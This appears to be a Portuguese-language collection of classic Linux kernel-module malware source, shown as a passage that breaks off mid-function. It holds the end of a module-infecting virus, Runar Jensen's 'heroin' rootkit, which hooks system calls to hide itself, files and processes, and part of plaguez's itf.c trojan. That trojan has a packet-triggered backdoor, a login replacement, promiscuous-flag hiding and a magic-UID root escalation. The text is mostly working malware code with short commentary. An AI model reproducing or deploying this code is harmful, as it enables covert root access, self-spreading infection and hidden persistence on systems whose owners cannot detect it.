extern void *sys_call_table[];

/* tested only with kernel 2.0.33, but thiz should run under 2.x.x
 * if you change the default_path[] values 
 */

static char *default_path[] = {
	".", "/linux/modules",
	"/lib/modules/2.0.33/fs",
	"/lib/modules/2.0.33/net",
	"/lib/modules/2.0.33/scsi",
	"/lib/modules/2.0.33/block",
	"/lib/modules/2.0.33/cdrom",
	"/lib/modules/2.0.33/ipv4",
	"/lib/modules/2.0.33/misc",
	"/lib/modules/default/fs",
	"/lib/modules/default/net",
	"/lib/modules/default/scsi",
	"/lib/modules/default/block",
	"/lib/modules/default/cdrom",
	"/lib/modules/default/ipv4",
	"/lib/modules/default/misc",
	"/lib/modules/fs",
	"/lib/modules/net",
	"/lib/modules/scsi",
	"/lib/modules/block",
	"/lib/modules/cdrom",
	"/lib/modules/ipv4",
	"/lib/modules/misc",
	0
};

static struct symbol_table my_symtab = {
   	#include <linux/symtab_begin.h>
   	X(printk),
        X(vmalloc),
        X(vfree),
        X(kerneld_send),
        X(current_set),
        X(sys_call_table),
        X(register_symtab_from),
        #include <linux/symtab_end.h>
};

char files2infect[7][60 + 2];

/* const char kernel_version[] = UTS_RELEASE; */

int (*old_create_module)(char*, int);
int (*old_delete_module)(char *);
int (*open)(char *, int, int);
int (*close)(int);
int (*unlink)(char*);

int our_syscall(int);
int infectfile(char *);
int is_infected(char *);
int cp(struct file*, struct file*);
int writeVir(char *, char *);
int init_module2(struct module*);
char *get_mod_name(char*);

/* needed to be global */

void *VirCode = NULL;

/* install new syscall to see if we are already in kmem */
int our_syscall(int mn)
{
   	/* magic number: 40hex :-) */
   	if (mn == 0x40)
           	return 0;
        else
           	return -ENOSYS;
}

int new_create_module(char *name, int size)
{
   	int i = 0, j = 0, retval = 0;
        
        if ((retval = old_create_module(name, size)) < 0)
           	return retval;
        /* find next free place */
        for (i = 0; files2infect[i][0] && i < 7; i++);
        if (i == 6)
           	return retval;
        /* get name of mod from user-space */
        while ((files2infect[i][j] = get_fs_byte(name + j)) != 0 && j < 60)
           	j++;
	DPRINTK("in new_create_module: got %s as #%d\n", files2infect[i], i);
        return retval;
}

/* we infect modules after sys_delete_module, to be sure
 * we don't confuse the kernel
 */

int new_delete_module(char *modname)
{
   	static int infected = 0;
	int retval = 0, i = 0;
        char *s = NULL, *name = NULL;
        
        
        retval = old_delete_module(modname); 

        if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)
           	return retval;

   	for (i = 0; files2infect[i][0] && i < 7; i++) {
           	strcat(files2infect[i], ".o"); 
                if ((s  = get_mod_name(files2infect[i])) == NULL) {
                   	return retval;
                }
                name = strcpy(name, s);
                if (!is_infected(name)) {
                   	DPRINTK("try 2 infect %s as #%d\n", name, i);
                        infected++;
                        infectfile(name);
                }
                memset(files2infect[i], 0, 60 + 2);
        } /* for */
        /* its enough */
        if (infected >= ENOUGH)
           	cleanup_module();
        vfree(name);
        return retval;
}


/* lets take a look at sys_init_module(), that calls
 * our init_module() compiled with
 * CFLAG = ... -O2 -fomit-frame-pointer
 * in C:
 * ...
 * if((mp = find_module(name)) == NULL)
 * ...
 *
 * is in asm:
 * ...
 * call find_module
 * movl %eax, %ebp
 * ...
 * note that there is no normal stack frame !!!
 * thats the reason, why we find 'mp' (return from find_module) in %ebp
 * BUT only when compiled with the fomit-frame-pointer option !!!
 * with a stackframe (pushl %ebp; movl %esp, %ebp; subl $124, %esp)
 * you should find mp at -4(%ebp) .
 * thiz is very bad hijacking of local vars and an own topic.
 * I hope you do not get an seg. fault.
 */

__asm__ 
("

.align 16
.globl init_module	
   .type init_module,@function

init_module:
        pushl %ebp		 /* ebp is a pointer to mp from sys_init_module() */
                        	 /* and the parameter for init_module2() */
        call init_module2    	 
        popl %eax
        xorl %eax, %eax		 /* all good */
        ret	                 /* and return */
.hype27:
   	.size init_module,.hype27-init_module
");
        
 /* for the one with no -fomit-frame-pointer and no -O2 this should (!) work:
  *
  * pushl %ebx
  * movl %ebp, %ebx
  * pushl -4(%ebx)
  * call init_module2
  * addl $4, %esp
  * xorl %eax, %eax
  * popl %ebx
  * ret
  */

/*----------------------------------------------*/

int init_module2(struct module *mp)
{       
        char *s = NULL, *mod = NULL, *modname = NULL;
        long state = 0;
   
      	mod = vmalloc(60 + 2);
	modname = vmalloc(MAXPATH + 60 + 2);
        if (!mod || !modname)
           	return -1;        
        strcpy(mod, mp->name);
        strcat(mod, ".o");

   	
        MOD_INC_USE_COUNT;        
        DPRINTK("in init_module2: mod = %s\n", mod);
        
        /* take also a look at phrack#52 ...*/
        mp->name = "";
        mp->ref = 0;
        mp->size = 0;

        /* thiz is our new main ,look for copys in kmem ! */
        if (sys_call_table[__NR_our_syscall] == 0) {    
		old_delete_module = sys_call_table[__NR_delete_module];  
                old_create_module = sys_call_table[__NR_create_module];
                sys_call_table[__NR_our_syscall] = (void*)our_syscall;  		
                sys_call_table[__NR_delete_module] = (void*)new_delete_module;         
                sys_call_table[__NR_create_module] = (void*)new_create_module;
                memset(files2infect, 0, (60 + 2)*7);
                register_symtab(&my_symtab);
        }
        open = sys_call_table[__NR_open]; 
        close = sys_call_table[__NR_close];        
        unlink = sys_call_table[__NR_unlink];        
        
        if ((s = get_mod_name(mod)) == NULL)
           	return -1;
        modname = strcpy(modname, s);
	load_real_mod(modname, mod);
	vfree(mod);
        vfree(modname);
	return 0;
}        

int cleanup_module()
{
	sys_call_table[__NR_delete_module] = old_delete_module;
        sys_call_table[__NR_create_module] = old_create_module;
        sys_call_table[__NR_our_syscall] = NULL;
        DPRINTK("in cleanup_module\n");
        vfree(VirCode);
        return 0;
}

/* returns 1 if infected; 
 * seek at position MODLEN + 1 and read out 3 bytes,
 * if it is "ELF" it seems the file is already infected
 */

int is_infected(char *filename) 
{
   	char det[4] = {0};
        int fd = 0;
        struct file *file;

        DPRINTK("in is_infected: filename = %s\n", filename);
   	BEGIN_KMEM
        fd = open(filename, O_RDONLY, 0); 
        END_KMEM
        if (fd <= 0)
           	return -1;
        if ((file = current->files->fd[fd]) == NULL)
           	return -2;
        file->f_pos = MODLEN + 1;
        DPRINTK("in is_infected: file->f_pos = %d\n", file->f_pos);
        BEGIN_KMEM
        file->f_op->read(file->f_inode, file, det, 3);
        close(fd);
        END_KMEM
        DPRINTK("in is_infected: det = %s\n", det);
        if (strcmp(det, "ELF") == 0)
           	return 1;
        else
           	return 0;
}

/* copy the host-module to tmp, write VirCode to
 * hostmodule, and append tmp.
 * then delete tmp.
 */


int infectfile(char *filename)
{
        char *tmp = "/tmp/t000";
        int in = 0, out = 0;
        struct file *file1, *file2;
        
        BEGIN_KMEM
        in = open(filename, O_RDONLY, 0640);
        out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
        END_KMEM
        DPRINTK("in infectfile: in = %d out = %d\n", in, out);
        if (in <= 0 || out <= 0)
           	return -1;
        file1 = current->files->fd[in];
        file2 = current->files->fd[out];
        if (!file1 || !file2)
           	return -1;
        /* save hostcode */
        cp(file1, file2);
        BEGIN_KMEM
        file1->f_pos = 0;
        file2->f_pos = 0;
        /* write Vircode [from mem] */
        DPRINTK("in infetcfile: filenanme = %s\n", filename);
        file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);
        /* append hostcode */
        cp(file2, file1);
        close(in);
        close(out);
        unlink(tmp);
        END_KMEM
   	return 0;
}        

int disinfect(char *filename)
{

	char *tmp = "/tmp/t000";
        int in = 0, out = 0;
        struct file *file1, *file2;
        
        BEGIN_KMEM
        in = open(filename, O_RDONLY, 0640);
        out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
        END_KMEM
        DPRINTK("in disinfect: in = %d out = %d\n",in, out);
        if (in <= 0 || out <= 0)
           	return -1;
        file1 = current->files->fd[in];
        file2 = current->files->fd[out];
        if (!file1 || !file2)
           	return -1;
        /* save hostcode */
        cp(file1, file2);
	BEGIN_KMEM
 	close(in);
        DPRINTK("in disinfect: filename = %s\n", filename); 
        unlink(filename);
	in = open(filename, O_RDWR|O_CREAT, 0640);
	END_KMEM
	if (in <= 0)
		return -1;
	file1 = current->files->fd[in];
	if (!file1)
           	return -1;
        file2->f_pos = MODLEN;
	cp(file2, file1);
	BEGIN_KMEM
	close(in);
	close(out);
	unlink(tmp);
	END_KMEM
	return 0;
}

/* a simple copy routine, that expects the file struct pointer
 * of the files to be copied.
 * So its possible to append files due to copieng.
 */

int cp(struct file *file1, struct file *file2)
{

   	int in = 0, out = 0, r = 0;
        char *buf;
        
        if ((buf = (char*)vmalloc(10000)) == NULL)
           	return -1;

        DPRINTK("in cp: f_pos = %d\n", file1->f_pos);
        BEGIN_KMEM
        while ((r = file1->f_op->read(file1->f_inode, file1, buf, 10000)) > 0)
           	file2->f_op->write(file2->f_inode, file2, buf, r);
        file2->f_inode->i_mode = file1->f_inode->i_mode;
        file2->f_inode->i_atime = file1->f_inode->i_atime;
        file2->f_inode->i_mtime = file1->f_inode->i_mtime;
        file2->f_inode->i_ctime = file1->f_inode->i_ctime;
        END_KMEM
        vfree(buf);
        return 0;
}

/* Is that simple: we disinfect the module [hide 'n seek]
 * and send a request to kerneld to load
 * the orig mod. N0 fuckin' parsing for symbols and headers
 * is needed - cool.
 */
int load_real_mod(char *path_name, char *name)
{   	
        int r = 0, i = 0;		
        struct file *file1, *file2;
        int in =  0, out = 0; 

        DPRINTK("in load_real_mod name = %s\n", path_name);
        if (VirCode)
           	vfree(VirCode);
        VirCode = vmalloc(MODLEN);
        if (!VirCode)
                return -1;
        BEGIN_KMEM
        in = open(path_name, O_RDONLY, 0640);
        END_KMEM
	if (in <= 0)
           	return -1;
        file1 = current->files->fd[in];
        if (!file1)
              	return -1;
        /* read Vircode [into mem] */
	BEGIN_KMEM
        file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);
	close(in);
	END_KMEM
	disinfect(path_name);
        r = request_module(name);
        DPRINTK("in load_real_mod: request_module = %d\n", r);
        return 0;
}   	
        
char *get_mod_name(char *mod)
{
	int fd = 0, i = 0;
	static char* modname = NULL;
	
	if (!modname)
		modname = vmalloc(MAXPATH + 60 + 2);
	if (!modname)
		return NULL;
	BEGIN_KMEM
        for (i = 0; (default_path[i] && (strstr(mod, "/") == NULL)); i++) {
		memset(modname, 0, MAXPATH + 60 + 2);
		modname = strcpy(modname, default_path[i]);
		modname = strcat(modname, "/");
                modname = strcat(modname, mod);
		if ((fd = open(modname, O_RDONLY, 0640)) > 0) 
			break;
        }
        close(fd);
        END_KMEM    
        if (!default_path[i])
           	return NULL;  
	return modname;	
}        

-----------------------------------------------------------------------------
 
Heroin- the classic(O classico)

Nome: Heroin
Autor: Runar Jensen
Descricao: Jensen introduziu algumas boas ideias neste texto, estes
foram os primeiros passos para nosso moderno Hide LKM do plaguez.
A maneira que Jensen fez isso requer mais trabalho para ser codado
do que o de plaguez(Solar Designer e outras pessoas), mas funciona.
O modo Jensen mostra processos de uma forma muito complicada(bem, este
texto eh bem velho, e esta foi uma das primeiras tecnicas de 
LKM hacking). Ele usa um codigo sinal especial (31) em ordem para 
setar a flag num processo estruturado indicando q aquele processo 
sera aberto, da maneira que descutimos na parte II.
O resto eh bastante claro.

----------------heroin.txt------------------

Como usualmente demonstrado na Phrack 50 com seu projeto, eh trivial
apontar todo systemcall no linux com um modulo. Issu parece que eh a
primeira vez que seu sistema foi compromissado no boot level, issu eh 
possivel para um intruso alterar completamente "sem" modificar nenhum
binario ou deixando nenhuma backdoor visivel. Pois estas simpaticas
ferramentas tem sido usadas pela comunidade hacker atualmente, eu 
decidi publicar um pedaco do codigo para demonstrar o potencial de um
modulo malicioso hehehe.
O pedaco do codigo eh usado em modulos para kerneis 2.1, aqueles 
esquemas getdents(), kill(), read() e query_module() chamados. 
Depois de rodado, o modulo se torna invisivel para um 'lsmod' e 
tambem fica fora do /proc/modules modificando a saida de qualquer 
query_module() chamada e toda read() chamada acessando o /proc/modules.
Aparentemente 'rmmod' entao chama query_module() para listar todos os
modulos antes para remover um especifico, e ira aparecer que o modulo
nunca existiu. A saida de qualquer getdents() chamada eh modificada 
para mostrar qualquer arquivo ou diretorio iniciado com a seguinte 
string, deixando-o acessivel apenas se voce souber seus nomes exatos.
Issu entao mostrara qualquer diretorio do /proc/ apontando pids que
tem uma flag especifica eu sua estrutura interna, deixando um usuario
com acesso root fucando em qualquer processo(e sao criancas, desde que
a estrutura eh duplicada depois que o processo faz um fork()).
Para setar a flag, simplesmente envie um processo de sinal 31 que eh 
surpreendido e pego pela chamado do kill().

Para demonstrar os efeitos...

[root@image:~/test]# ls -l
total 3
-rw-------   1 root     root         2832 Oct  8 16:52 heroin.o
[root@image:~/test]# insmod heroin.o
[root@image:~/test]# lsmod | grep heroin
[root@image:~/test]# grep heroin /proc/modules
[root@image:~/test]# rmmod heroin
rmmod: module heroin not loaded
[root@image:~/test]# ls -l
total 0
[root@image:~/test]# echo "I'm invisible" > heroin_test
[root@image:~/test]# ls -l
total 0
[root@image:~/test]# cat heroin_test
I'm invisible
[root@image:~/test]# ps -aux | grep gpm
root       223  0.0  1.0   932   312  ?  S   16:08   0:00 gpm
[root@image:~/test]# kill -31 223
[root@image:~/test]# ps -aux | grep gpm
[root@image:~/test]# ps -aux 223
USER       PID %CPU %MEM  SIZE   RSS TTY STAT START   TIME COMMAND
root       223  0.0  1.0   932   312  ?  S   16:08   0:00 gpm
[root@image:~/test]# ls -l /proc | grep 223
[root@image:~/test]# ls -l /proc/223
total 0
-r--r--r--   1 root     root            0 Oct  8 16:53 cmdline
lrwx------   1 root     root            0 Oct  8 16:54 cwd -> /var/run
-r--------   1 root     root            0 Oct  8 16:54 environ
lrwx------   1 root     root            0 Oct  8 16:54 exe -> /usr/bin/gpm
dr-x------   1 root     root            0 Oct  8 16:54 fd
pr--r--r--   1 root     root            0 Oct  8 16:54 maps
-rw-------   1 root     root            0 Oct  8 16:54 mem
lrwx------   1 root     root            0 Oct  8 16:54 root -> /
-r--r--r--   1 root     root            0 Oct  8 16:53 stat
-r--r--r--   1 root     root            0 Oct  8 16:54 statm
-r--r--r--   1 root     root            0 Oct  8 16:54 status
[root@image:~/test]#

As demonstracoes parecem obvias. Uma vez que um compromisso foi feito,
nada pode ser confiavel, inclusive o sistema operacional. Um modulo 
como esse pode ser colocado no /lib/modules/<kernel_version>/default
para forcar isso a ser rodado depois de todo root.
Combinadas com reacoes obscuras da backdoor remota isso pode ser 
indetectavel por um longo periodo a nao ser que o adm saiba pelo que 
ele esta procurando.
Entao como pode ser detectado????
Neste caso, o quantidade de processos eh limitada, entao voce pode abrir
todos os processos possiveis e tentar localizar um q nao foi listado no
/proc. Usando readdir() com getdents() nao vai funcionar.
Na verdade, tentar procurar algo como issu sabendo exatamente o que 
voce esta procurando, pode ser encontrado no user scape...

Ou seja, continue amedrontado! Amedronte-se muuito! =]

/*
 * heroin.c
 *
 * Runar Jensen <zarq@opaque.org>
 *
 * This Linux kernel module patches the getdents(), kill(), read()
 * and query_module() system calls to demonstrate the potential
 * dangers of the way modules have full access to the entire kernel.
 *
 * Once loaded, the module becomes invisible and can not be removed
 * with rmmod. Any files or directories starting with the string
 * defined by MAGIC_PREFIX appear to disappear, and sending a signal
 * 31 to any process as root effectively hides it and all its future
 * children.
 *
 * This code should compile cleanly and work with most (if not all)
 * recent 2.1.x kernels, and has been tested under 2.1.44 and 2.1.57.
 * It will not compile as is under 2.0.30, since 2.0.30 lacks the
 * query_module() function.
 *
 * Compile with:
 *   gcc -O2 -fomit-frame-pointer -DMODULE -D__KERNEL__ -c heroin.c
 */

#include <linux/fs.h>
#include <linux/module.h>
#include <linux/modversions.h>
#include <linux/malloc.h>
#include <linux/unistd.h>
#include <sys/syscall.h>

#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <stdlib.h>

#define MAGIC_PREFIX "heroin"

#define PF_INVISIBLE 0x10000000
#define SIGINVISI 31

int errno;

static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
static inline _syscall2(int, kill, pid_t, pid, int, sig);
static inline _syscall3(ssize_t, read, int, fd, void *, buf, size_t, count);
static inline _syscall5(int, query_module, const char *, name, int, which, void *, buf, size_t, bufsize, size_t *, ret);

extern void *sys_call_table[];

int (*original_getdents)(unsigned int, struct dirent *, unsigned int);
int (*original_kill)(pid_t, int);
int (*original_read)(int, void *, size_t);
int (*original_query_module)(const char *, int, void *, size_t, size_t *);

int myatoi(char *str)
{
        int res = 0;
        int mul = 1;
        char *ptr;

        for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
                if(*ptr < '0' || *ptr > '9')
                        return(-1);
                res += (*ptr - '0') * mul;
                mul *= 10;
        }
        return(res);
}

void mybcopy(char *src, char *dst, unsigned int num)
{
        while(num--)
                *(dst++) = *(src++);
}

int mystrcmp(char *str1, char *str2)
{
        while(*str1 && *str2)
                if(*(str1++) != *(str2++))
                        return(-1);
        return(0);
}

struct task_struct *find_task(pid_t pid)
{
        struct task_struct *task = current;

        do {
                if(task->pid == pid)
                        return(task);

                task = task->next_task;

        } while(task != current);

        return(NULL);
}

int is_invisible(pid_t pid)
{
        struct task_struct *task;

        if((task = find_task(pid)) == NULL)
                return(0);

        if(task->flags & PF_INVISIBLE)
                return(1);

        return(0);
}

int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
        int res;
        int proc = 0;
        struct inode *dinode;
        char *ptr = (char *)dirp;
        struct dirent *curr;
        struct dirent *prev = NULL;

        res = (*original_getdents)(fd, dirp, count);

        if(!res)
                return(res);

        if(res == -1)
                return(-errno);

#ifdef __LINUX_DCACHE_H
        dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
        dinode = current->files->fd[fd]->f_inode;
#endif

        if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
                proc = 1;

        while(ptr < (char *)dirp + res) {
                curr = (struct dirent *)ptr;

                if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) ||
                        (proc && is_invisible(myatoi(curr->d_name)))) {

                        if(curr == dirp) {
                                res -= curr->d_reclen;
                                mybcopy(ptr + curr->d_reclen, ptr, res);
                                continue;
                        }
                        else
                                prev->d_reclen += curr->d_reclen;
                }
                else
                        prev = curr;

                ptr += curr->d_reclen;
        }

        return(res);
}

int hacked_kill(pid_t pid, int sig)
{
        int res;
        struct task_struct *task = current;

        if(sig != SIGINVISI) {
                res = (*original_kill)(pid, sig);

                if(res == -1)
                        return(-errno);

                return(res);
        }

        if((task = find_task(pid)) == NULL)
                return(-ESRCH);

        if(current->uid && current->euid)
                return(-EPERM);

        task->flags |= PF_INVISIBLE;

        return(0);
}

int hacked_read(int fd, char *buf, size_t count)
{
        int res;
        char *ptr, *match;
        struct inode *dinode;

        res = (*original_read)(fd, buf, count);

        if(res == -1)
                return(-errno);

#ifdef __LINUX_DCACHE_H
        dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
        dinode = current->files->fd[fd]->f_inode;
#endif

        if(dinode->i_ino != PROC_MODULES || MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1)
                return(res);

        ptr = buf;

        while(ptr < buf + res) {
                if(!mystrcmp(MAGIC_PREFIX, ptr)) {
                        match = ptr;
                        while(*ptr && *ptr != '\n')
                                ptr++;
                        ptr++;
                        mybcopy(ptr, match, (buf + res) - ptr);
                        res = res - (ptr - match);
                        return(res);
                }
                while(*ptr && *ptr != '\n')
                        ptr++;
                ptr++;
        }

        return(res);
}

int hacked_query_module(const char *name, int which, void *buf, size_t bufsize, size_t *ret)
{
        int res;
        int cnt;
        char *ptr, *match;

        res = (*original_query_module)(name, which, buf, bufsize, ret);

        if(res == -1)
                return(-errno);

        if(which != QM_MODULES)
                return(res);

        ptr = buf;

        for(cnt = 0; cnt < *ret; cnt++) {
                if(!mystrcmp(MAGIC_PREFIX, ptr)) {
                        match = ptr;
                        while(*ptr)
                                ptr++;
                        ptr++;
                        mybcopy(ptr, match, bufsize - (ptr - (char *)buf));
                        (*ret)--;
                        return(res);
                }
                while(*ptr)
                        ptr++;
                ptr++;
        }

        return(res);
}

int init_module(void)
{
        original_getdents = sys_call_table[SYS_getdents];
        sys_call_table[SYS_getdents] = hacked_getdents;

        original_kill = sys_call_table[SYS_kill];
        sys_call_table[SYS_kill] = hacked_kill;

        original_read = sys_call_table[SYS_read];
        sys_call_table[SYS_read] = hacked_read;

        original_query_module = sys_call_table[SYS_query_module];
        sys_call_table[SYS_query_module] = hacked_query_module;

        return(0);
}

void cleanup_module(void)
{
        sys_call_table[SYS_getdents] = original_getdents;
        sys_call_table[SYS_kill] = original_kill;
        sys_call_table[SYS_read] = original_read;
        sys_call_table[SYS_query_module] = original_query_module;
}

-------------------------------------------------------------------------

LKM Hider/Socket Backdoor

Nome: itf.c
Autor: Plaguez
Descricao: Este muito bom LKM foi publicado na phrack 52(artigo 18: 
'Weakening the Linux Kernel'). Este modulo tem tudo que voce precisa
para por uma backdoor em um sistema de uma maneira bastante efetiva.
Veja o texto e depois aprecie o codigo =]

Este eh o itf.c. O ponto forte deste programa sao demonstracoes de 
tecnicas de backdoor em kernel usando systemcalls redirecionados.
Uma vez instalado, eh muito dificil de se livrar.

Incluindo a parte princpal:

- funcoes stealth: uma vez rodado 'insmod', itf ira modificar a 
estrutura do modulo *mp e get_kernel_symbols(2) entao isso nao ira 
aparecer no /proc/modules ou saidas de terminais. Entao, o modulo nao
pode ser fechado.

- demonstrador sniffer: itf ira por uma backdoor no ioctl(2) entao a flag 
promisc sera quebrada. Note que vc precisara alocar o sniffer antes 
de rodar o insmod itf.o, porque o itf ira alterar a flag promisc e 
fara quando parar de pega-lo(ou entao vc pode simplesmente tentar um
ifconfig eth0 +promisc e manchar o modulo...).

- demonstrador de arquivos: itf vai entao aplicar a getdents(2) system 
calls, e mostrando ao conteudo dos arquivos uma certa palavra em 
seu arquivo.

- demonstrador de processos: usando o mesmo esquema descrito acima, 
ele ira mostrar os diretorios /proc/PID usando entradas argv. 

- socket recvfrom() backdoor: quando um pacote conteudo um certo 
tamanho e a string eh recebida, um programa nao-interativo sera 
executado. Tipico uso de um shell script(que ira trabalhar usando 
uma string magica) que abre outra porta e espera por comandos de shell.

- setupid() trojan: quando um setupid() system call com uid == magic
number eh feito, o processo chamado ira pegar uid = euid = gid = 0.

/*
 * itf.c v0.8
 * Linux Integrated Trojan Facility
 * (c) plaguez 1997  --  dube0866@eurobretagne.fr
 * This is mostly not fully tested code. Use at your own risks.
 *
 * 
 * compile with:
 *   gcc -c -O3 -fomit-frame-pointer itf.c
 * Then:
 *   insmod itf
 * 
 * 
 * Thanks to Halflife and Solar Designer for their help/ideas. 
 *
 * Greets to: w00w00, GRP, #phrack, #innuendo, K2, YmanZ, Zemial.
 *
 * 
 */

#define MODULE
#define __KERNEL__


#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>

#include <linux/types.h>
#include <linux/fs.h>
#include <linux/mm.h>
#include <linux/errno.h>
#include <asm/segment.h>
#include <asm/pgtable.h>
#include <sys/syscall.h>
#include <linux/dirent.h>
#include <asm/unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/socketcall.h>
#include <linux/netdevice.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/proc_fs.h>
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <ctype.h>


/* Customization section 
 * - RECVEXEC is the full pathname of the program to be launched when a packet
 * of size MAGICSIZE and containing the word MAGICNAME is received with recvfrom().
 * This program can be a shell script, but must be able to handle null **argv (I'm too lazy
 * to write more than execve(RECVEXEC,NULL,NULL); :)
 * - NEWEXEC is the name of the program that is executed instead of OLDEXEC
 * when an execve() syscall occurs.
 * - MAGICUID is the numeric uid that will give you root when a call to setuid(MAGICUID)
 * is made (like Halflife's code)
 * - files containing MAGICNAME in their full pathname will be invisible to
 * a getdents() system call.
 * - processes containing MAGICNAME in their process name will be hidden of the
 * procfs tree.
 */
#define MAGICNAME "w00w00T$!"
#define MAGICUID  31337
#define OLDEXEC   "/bin/login"
#define NEWEXEC   "/.w00w00T$!/w00w00T$!login"
#define RECVEXEC  "/.w00w00T$!/w00w00T$!recv"
#define MAGICSIZE sizeof(MAGICNAME)+10

/* old system calls vectors */
int (*o_getdents) (uint, struct dirent *, uint);
ssize_t(*o_readdir) (int, void *, size_t);
int (*o_setuid) (uid_t);
int (*o_execve) (const char *, const char *[], const char *[]);
int (*o_ioctl) (int, int, unsigned long);
int (*o_get_kernel_syms) (struct kernel_sym *);
ssize_t(*o_read) (int, void *, size_t);
int (*o_socketcall) (int, unsigned long *);
/* entry points to brk() and fork() syscall. */
static inline _syscall1(int, brk, void *, end_data_segment);
static inline _syscall0(int, fork);
static inline _syscall1(void, exit, int, status);

extern void *sys_call_table[];
extern struct proto tcp_prot;
int errno;

char mtroj[] = MAGICNAME;
int __NR_myexecve;
int promisc;



/*
 * String-oriented functions
 * (from user-space to kernel-space or invert)
 */

char *strncpy_fromfs(char *dest, const char *src, int n)
{
    char *tmp = src;
    int compt = 0;

    do {
	dest[compt++] = __get_user(tmp++, 1);
    }
    while ((dest[compt - 1] != '\0') && (compt != n));

    return dest;
}


int myatoi(char *str)
{
    int res = 0;
    int mul = 1;
    char *ptr;

    for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
	if (*ptr < '0' || *ptr > '9')
	    return (-1);
	res += (*ptr - '0') * mul;
	mul *= 10;
    }
    return (res);
}



/*
 * process hiding functions
 */
struct task_struct *get_task(pid_t pid)
{
    struct task_struct *p = current;
    do {
	if (p->pid == pid)
	    return p;
	p = p->next_task;
    }
    while (p != current);
    return NULL;

}

/* the following function comes from fs/proc/array.c */
static inline char *task_name(struct task_struct *p, char *buf)
{
    int i;
    char *name;

    name = p->comm;
    i = sizeof(p->comm);
    do {
	unsigned char c = *name;
	name++;
	i--;
	*buf = c;
	if (!c)
	    break;
	if (c == '\\') {
	    buf[1] = c;
	    buf += 2;
	    continue;
	}
	if (c == '\n') {
	    buf[0] = '\\';
	    buf[1] = 'n';
	    buf += 2;
	    continue;
	}
	buf++;
    }
    while (i);
    *buf = '\n';
    return buf + 1;
}



int invisible(pid_t pid)
{
    struct task_struct *task = get_task(pid);
    char *buffer;
    if (task) {
	buffer = kmalloc(200, GFP_KERNEL);
	memset(buffer, 0, 200);
	task_name(task, buffer);
	if (strstr(buffer, (char *) &mtroj)) {
	    kfree(buffer);
	    return 1;
	}
    }
    return 0;
}



/*
 * New system calls
 */

/*
 * hide module symbols
 */
int n_get_kernel_syms(struct kernel_sym *table)
{
    struct kernel_sym *tb;
    int compt, compt2, compt3, i, done;

    compt = (*o_get_kernel_syms) (table);
    if (table != NULL) {
	tb = kmalloc(compt * sizeof(struct kernel_sym), GFP_KERNEL);
	if (tb == 0) {
	    return compt;
	}
	compt2 = 0;
	done = 0;
	i = 0;
	memcpy_fromfs((void *) tb, (void *) table, compt * sizeof(struct kernel_sym));
	while (!done) {
	    if ((tb[compt2].name)[0] == '#')
		i = compt2;
	    if (!strcmp(tb[compt2].name, mtroj)) {
		for (compt3 = i + 1; (tb[compt3].name)[0] != '#' && compt3 < compt; compt3++);
		if (compt3 != (compt - 1))
		    memmove((void *) &(tb[i]), (void *) &(tb[compt3]), (compt - compt3) * sizeof(struct kernel_sym));
		else
		    compt = i;
		done++;
	    }
	    compt2++;
	    if (compt2 == compt)
		done++;

	}

	memcpy_tofs(table, tb, compt * sizeof(struct kernel_sym));
	kfree(tb);
    }
    return compt;

}



/*
 * how it works:
 * I need to allocate user memory. To do that, I'll do exactly as malloc() does
 * it (changing the break value).
 */
int my_execve(const char *filename, const char *argv[], const char *envp[])
{
    long __res;
    __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
    return (int) __res;
}

int n_execve(const char *filename, const char *argv[], const char *envp[])
{
    char *test;
    int ret, tmp;
    char *truc = OLDEXEC;
    char *nouveau = NEWEXEC;
    unsigned long mmm;

    test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);
    (void) strncpy_fromfs(test, filename, strlen(truc));
    test[strlen(truc)] = '\0';
    if (!strcmp(test, truc)) {
	kfree(test);
	mmm = current->mm->brk;
	ret = brk((void *) (mmm + 256));
	if (ret < 0)
	    return ret;
	memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
	ret = my_execve((char *) (mmm + 2), argv, envp);
	tmp = brk((void *) mmm);
    } else {
	kfree(test);
	ret = my_execve(filename, argv, envp);
    }
    return ret;

}


/*
 * Trap the ioctl() system call to hide PROMISC flag on ethernet interfaces.
 * If we reset the PROMISC flag when the trojan is already running, then it
 * won't hide it anymore (needed otherwise you'd just have to do an
 * "ifconfig eth0 +promisc" to find the trojan).
 */
int n_ioctl(int d, int request, unsigned long arg)
{
    int tmp;
    struct ifreq ifr;

    tmp = (*o_ioctl) (d, request, arg);
    if (request == SIOCGIFFLAGS && !promisc) {
	memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));
	ifr.ifr_flags = ifr.ifr_flags & (~IFF_PROMISC);
	memcpy_tofs((struct ifreq *) arg, (struct ifreq *) &ifr, sizeof(struct ifreq));
    } else if (request == SIOCSIFFLAGS) {
	memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));
	if (ifr.ifr_flags & IFF_PROMISC)
	    promisc = 1;
	else if (!(ifr.ifr_flags & IFF_PROMISC))
	    promisc = 0;
    }
    return tmp;

}


/*
 * trojan setMAGICUID() system call.
 */
int n_setuid(uid_t uid)
{
    int tmp;

    if (uid == MAGICUID) {
	current->uid = 0;
	current->euid = 0;
	current->gid = 0;
